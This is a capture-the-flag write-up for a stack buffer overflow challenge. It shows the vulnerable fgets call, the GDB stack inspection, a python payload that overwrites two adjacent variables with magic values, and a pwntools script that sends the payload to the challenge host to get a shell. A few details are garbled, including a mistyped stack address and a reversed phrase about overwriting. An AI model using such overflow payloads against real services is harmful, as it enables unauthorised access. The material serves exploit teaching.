Looking at the source code, the vulnerability is found on the fgets(buf, 49, stdin). The function allows you to write 49 characters at most on a buffer that can contain 40 characters. Writing more characters in the allocated size of a buffer result to a buffer overflow, which means some characters will write into some address spaces that is supposed to be overwritten.
The goal is to change the value of the variable check and key in 0xcafebebe and 0xdeadbeef.
Visualizing on GDB
Let’s place a breakpoint on the code when the stackframe has been created and when the variables
check and
key have been initialized.
Looking at the stack, the variable
check is located at the address 0x7fffffffffffe168 and the variable
key is located at the address 0x7fffffffffffe16c. Therefore, those variables are located after the array
buf. Let's fill the buffer of "
A" and and add \0xdeadbeef then \xcafebebe. We also need to take the endianess into account.
r < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xef\xbe\xad\xde" + b"\xbe\xbe\xfe\xca")')
We have overwritten the memory space allocated by the variables check and key. Then, it will lead us to a shell.
Scripting
from pwn import *
r = remote(“challenge.404ctf.fr”, “32458”)
offset = 40
payload = b”A”*40 + b”\xef\xbe\xad\xde” + b”\xbe\xbe\xfe\xca”
r.sendline(payload)
r.interactive()